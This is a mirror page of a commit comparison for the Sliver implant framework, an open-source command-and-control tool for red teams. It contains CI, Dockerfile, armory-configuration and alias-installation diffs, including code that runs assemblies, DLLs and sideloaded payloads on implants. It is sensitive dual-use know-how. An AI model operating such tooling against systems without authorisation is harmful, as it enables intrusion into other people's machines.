mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
130
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0a44fde9fa | ||
|
|
151dfe2643 | ||
|
|
fa7033f0c4 | ||
|
|
4eab1b582a | ||
|
|
f78db1a825 | ||
|
|
eb61740f5d | ||
|
|
39d0f3b838 | ||
|
|
8f084c99a4 | ||
|
|
87720d8a41 | ||
|
|
f8dd5230c1 | ||
|
|
9296a8abce | ||
|
|
abc8747a51 | ||
|
|
dcbfe10bc4 | ||
|
|
4336f933e0 | ||
|
|
6a4521a4b0 | ||
|
|
bf80f8f7e6 | ||
|
|
174455cbcc | ||
|
|
09564cf241 | ||
|
|
03fa4029d3 | ||
|
|
b33e012f2a | ||
|
|
98f13030f9 | ||
|
|
040863b757 | ||
|
|
1624c84eb6 | ||
|
|
44368b26ad | ||
|
|
0eb93d51c0 | ||
|
|
c7cd14eae2 | ||
|
|
9c9caba8d8 | ||
|
|
4b6219d860 | ||
|
|
a47aeb7e73 | ||
|
|
d3255ec7bb | ||
|
|
4c0e6cb585 | ||
|
|
88e35469b8 | ||
|
|
cd711c1e2f | ||
|
|
723eca2ddd | ||
|
|
0b2e0fa9bc | ||
|
|
9135afd201 | ||
|
|
b3a9ba86e1 | ||
|
|
2211b13c31 | ||
|
|
187394439e | ||
|
|
3b767baca3 | ||
|
|
c1070f917f | ||
|
|
5487df2000 | ||
|
|
97497c9f78 | ||
|
|
ee36676ba2 | ||
|
|
6809d81b66 | ||
|
|
6b876b0a0e | ||
|
|
33ab6096f1 | ||
|
|
0a6636fb71 | ||
|
|
6a30b8a99a | ||
|
|
a3c353baf7 | ||
|
|
5e992e073e | ||
|
|
12d2569c2f | ||
|
|
1abda712c4 | ||
|
|
6dc49f5074 | ||
|
|
2eff697a50 | ||
|
|
143246a9fc | ||
|
|
ab80379e5e | ||
|
|
d8e400f005 | ||
|
|
a4cc570845 | ||
|
|
0072335cc0 | ||
|
|
6bccd35318 | ||
|
|
f37bed31c0 | ||
|
|
dac592d231 | ||
|
|
f98ae8e7fe | ||
|
|
026c1d6ef6 | ||
|
|
4b982f422f | ||
|
|
c2f5460c63 | ||
|
|
214143e9d9 | ||
|
|
2607a021d8 | ||
|
|
e474dc452f | ||
|
|
c28e8e1e0f | ||
|
|
7b2822795c | ||
|
|
cc5f162848 | ||
|
|
83b6bf9147 | ||
|
|
79202297df | ||
|
|
cd4e967cd9 | ||
|
|
ea901f5442 | ||
|
|
a5cd0d0cae | ||
|
|
e9930d01fd | ||
|
|
f83131ef43 | ||
|
|
73d5c3192d | ||
|
|
076db57bba | ||
|
|
db85a76c85 | ||
|
|
662c1c1e18 | ||
|
|
5634b09921 | ||
|
|
f8c8cdfe31 | ||
|
|
cabe48e997 | ||
|
|
cabb1b09cc | ||
|
|
3bb667f814 | ||
|
|
6cb1ffbe4e | ||
|
|
dba5ba5767 | ||
|
|
65a7730bf4 | ||
|
|
e17c363381 | ||
|
|
454ffd7bcd | ||
|
|
be75b1557c | ||
|
|
d12d2fb792 | ||
|
|
4debb053bd | ||
|
|
d45a62867f | ||
|
|
32c7e02f09 | ||
|
|
e0ba712631 | ||
|
|
fd17c4ed20 | ||
|
|
76eb06e6b9 | ||
|
|
7a7f169e0a | ||
|
|
61090be973 | ||
|
|
a0360fac17 | ||
|
|
61210acff0 | ||
|
|
eca785a99a | ||
|
|
0b9442d2b8 | ||
|
|
b6a24b0ab2 | ||
|
|
9f43f73350 | ||
|
|
d6ccb0044c | ||
|
|
5d13415770 | ||
|
|
f4c72d5216 | ||
|
|
bb28d796a4 | ||
|
|
f0b078bcd1 | ||
|
|
e926f1b954 | ||
|
|
9f4988e12a | ||
|
|
84acde7db0 | ||
|
|
30587f6e8f | ||
|
|
de02d2fa6e | ||
|
|
b286aa979f | ||
|
|
2da1da7c40 | ||
|
|
d02b38681c | ||
|
|
235c666b61 | ||
|
|
a7befbe8a6 | ||
|
|
9baa1c0095 | ||
|
|
af27a2f0ec | ||
|
|
0c7cb4c566 | ||
|
|
bf3846ac30 | ||
|
|
33b21778d0 |
No files matched your search
@@ -66,7 +66,7 @@ jobs:
|
||||
uses: actions/configure-pages@v5
|
||||
|
||||
- name: Restore cache
|
||||
uses: actions/cache@v3
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: |
|
||||
.next/cache
|
||||
|
||||
@@ -31,8 +31,7 @@ jobs:
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
@@ -75,9 +74,6 @@ jobs:
|
||||
run: make macos-amd64
|
||||
|
||||
- name: Test MacOS (amd64)
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make MacOS (arm64)
|
||||
|
||||
+7
-12
@@ -9,7 +9,7 @@
|
||||
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM --platform=linux/amd64 golang:1.22.1 as base
|
||||
FROM golang:1.22.2 as base
|
||||
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
@@ -29,12 +29,12 @@ RUN cp -vv sliver-server /opt/sliver-server
|
||||
# STAGE: test
|
||||
## Run unit tests against the compiled instance
|
||||
## Use `--target test` in the docker build command to run this stage
|
||||
FROM --platform=linux/amd64 base as test
|
||||
FROM base as test
|
||||
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
curl
|
||||
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
@@ -43,7 +43,7 @@ RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# STAGE: production
|
||||
## Final dockerized form of Sliver
|
||||
FROM --platform=linux/amd64 debian:bookworm-slim as production
|
||||
FROM debian:bookworm-slim as production
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
@@ -56,8 +56,7 @@ RUN apt-get update --fix-missing \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
curl libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
nasm
|
||||
|
||||
### Install MSF for stager generation
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
@@ -92,15 +91,11 @@ ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
|
||||
|
||||
# STAGE: production-slim (about 1Gb smaller)
|
||||
### Slim production image, i.e. without MSF and assoicated libraries
|
||||
### Still include GCC and MinGW for cross-platform generation
|
||||
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
|
||||
FROM debian:bookworm-slim as production-slim
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
&& apt-get -y upgrade
|
||||
|
||||
### Cleanup unneeded packages
|
||||
RUN apt-get autoremove -y \
|
||||
|
||||
+58
-19
@@ -27,7 +27,8 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
ArmoryConfigFileName = "armories.json"
|
||||
DefaultArmoryName = "Default"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -36,9 +37,11 @@ var (
|
||||
// DefaultArmoryRepoURL - The default repo url for the armory
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
DefaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
Name: DefaultArmoryName,
|
||||
Enabled: true,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -48,29 +51,65 @@ type ArmoryConfig struct {
|
||||
RepoURL string `json:"repo_url"`
|
||||
Authorization string `json:"authorization"`
|
||||
AuthorizationCmd string `json:"authorization_cmd"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := os.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
func RefreshArmoryAuthorization(armories []*ArmoryConfig) {
|
||||
for _, armoryConfig := range armories {
|
||||
if armoryConfig.AuthorizationCmd != "" {
|
||||
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
|
||||
}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
data, err := os.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigsFromFile []*ArmoryConfig
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigsFromFile)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{DefaultArmoryConfig}
|
||||
}
|
||||
|
||||
// Force the default armory to be the last
|
||||
defaultArmorySpecified := false
|
||||
|
||||
for _, config := range armoryConfigsFromFile {
|
||||
if config.Name == DefaultArmoryName {
|
||||
defaultArmorySpecified = true
|
||||
continue
|
||||
} else {
|
||||
armoryConfigs = append(armoryConfigs, config)
|
||||
}
|
||||
}
|
||||
if defaultArmorySpecified {
|
||||
armoryConfigs = append(armoryConfigs, DefaultArmoryConfig)
|
||||
}
|
||||
RefreshArmoryAuthorization(armoryConfigs)
|
||||
|
||||
return armoryConfigs
|
||||
}
|
||||
|
||||
func SaveArmoriesConfig(armories []*ArmoryConfig) error {
|
||||
configData, err := json.Marshal(armories)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
|
||||
err = os.WriteFile(armoryConfigPath, configData, 0640)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
|
||||
|
||||
+6
-4
@@ -24,8 +24,8 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -34,8 +34,6 @@ const (
|
||||
logFileName = "sliver-client.log"
|
||||
)
|
||||
|
||||
var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
|
||||
// Initialize logging.
|
||||
func initLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
@@ -48,6 +46,10 @@ func initLogging(appDir string) *os.File {
|
||||
}
|
||||
|
||||
func init() {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
rootCmd.TraverseChildren = true
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
@@ -90,7 +92,7 @@ var rootCmd = &cobra.Command{
|
||||
// Execute - Execute root command.
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
fmt.Println(err)
|
||||
fmt.Printf("root command: %s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
+18
-4
@@ -1,5 +1,23 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
@@ -20,7 +38,6 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
|
||||
}
|
||||
|
||||
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
|
||||
|
||||
return consoleCmd
|
||||
}
|
||||
|
||||
@@ -28,9 +45,6 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
pre = func(_ *cobra.Command, _ []string) error {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
|
||||
+19
-1
@@ -1,5 +1,23 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
@@ -24,7 +42,7 @@ func implantCmd(con *console.SliverClient) *cobra.Command {
|
||||
implantFlags.StringP("use", "s", "", "interact with a session")
|
||||
cmd.Flags().AddFlagSet(implantFlags)
|
||||
|
||||
// Prerunners (console setup, connection, etc)
|
||||
// Pre-runners (console setup, connection, etc)
|
||||
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
|
||||
|
||||
// Completions
|
||||
|
||||
@@ -36,11 +36,11 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
aliasLocalPath := args[0]
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
con.PrintErrorf("Alias path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
InstallFromFile(aliasLocalPath, "", false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
@@ -100,7 +100,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file.
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverClient) *string {
|
||||
func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite bool, con *console.SliverClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
@@ -108,12 +108,18 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
errorMsg := ""
|
||||
if aliasName != "" {
|
||||
errorMsg = fmt.Sprintf("Error processing manifest for alias %s - failed to parse %s: %s\n", aliasName, ManifestFileName, err)
|
||||
} else {
|
||||
errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
}
|
||||
con.PrintErrorf(errorMsg)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
@@ -139,7 +145,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
@@ -151,7 +157,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverClient) error {
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -92,7 +92,9 @@ type AliasManifest struct {
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
RootPath string `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
@@ -103,7 +105,7 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
@@ -267,20 +269,20 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
// args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
var extArgsStr string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
extArgsStr = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
extArgsStr = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
extArgsStr = strings.TrimSpace(extArgsStr)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
msgStr := ""
|
||||
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
@@ -352,13 +354,13 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Arguments: args,
|
||||
Assembly: binData,
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
@@ -398,11 +400,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
@@ -437,11 +439,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: extArgs,
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
|
||||
+363
-73
@@ -23,6 +23,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"slices"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -54,13 +55,24 @@ type ArmoryPackage struct {
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
IsAlias bool `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
/*
|
||||
With support for multiple armories, the command name of a package
|
||||
is not unique anymore, so we need something that is unique
|
||||
to be able to keep track of packages.
|
||||
|
||||
This ID will be a hash calculated from properties of the package.
|
||||
*/
|
||||
ID string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
ArmoryName string `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryHTTPConfig - Configuration for armory HTTP client
|
||||
@@ -89,48 +101,75 @@ type pkgCacheEntry struct {
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
// This corresponds to Pkg.ID
|
||||
ID string
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
// package ID -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
// public key -> assets.ArmoryConfig
|
||||
currentArmories = sync.Map{}
|
||||
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
//cacheTime = time.Hour
|
||||
cacheTime = 2 * time.Minute
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
|
||||
// Track whether armories have been initialized so that we know if we need to pull from the config
|
||||
armoriesInitialized = false
|
||||
|
||||
// Track whether the default armory has been removed by the user (this is needed to prevent it from being readded in if they have removed it)
|
||||
defaultArmoryRemoved = false
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
armoriesConfig := getCurrentArmoryConfiguration()
|
||||
if len(armoriesConfig) == 1 {
|
||||
con.Printf("Reading armory index ... ")
|
||||
} else {
|
||||
con.PrintInfof("Reading %d armory indexes ... ", len(armoriesConfig))
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
indexes := fetchIndexes(clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s (%s) - %s\n", cacheEntry.ArmoryConfig.Name, cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
armoriesInitialized = true
|
||||
if len(indexes) == 0 {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
return
|
||||
}
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
for _, index := range indexes {
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
con.PrintInfof("Reading package information for armory %s ... ", index.ArmoryConfig.Name)
|
||||
fetchPackageSignatures(index, clientConfig)
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Something is wrong with this entry
|
||||
pkgCache.Delete(value)
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
@@ -149,32 +188,52 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
getCurrentArmoryConfiguration()
|
||||
indexes := fetchIndexes(clientConfig)
|
||||
for _, index := range indexes {
|
||||
fetchPackageSignatures(index, clientConfig)
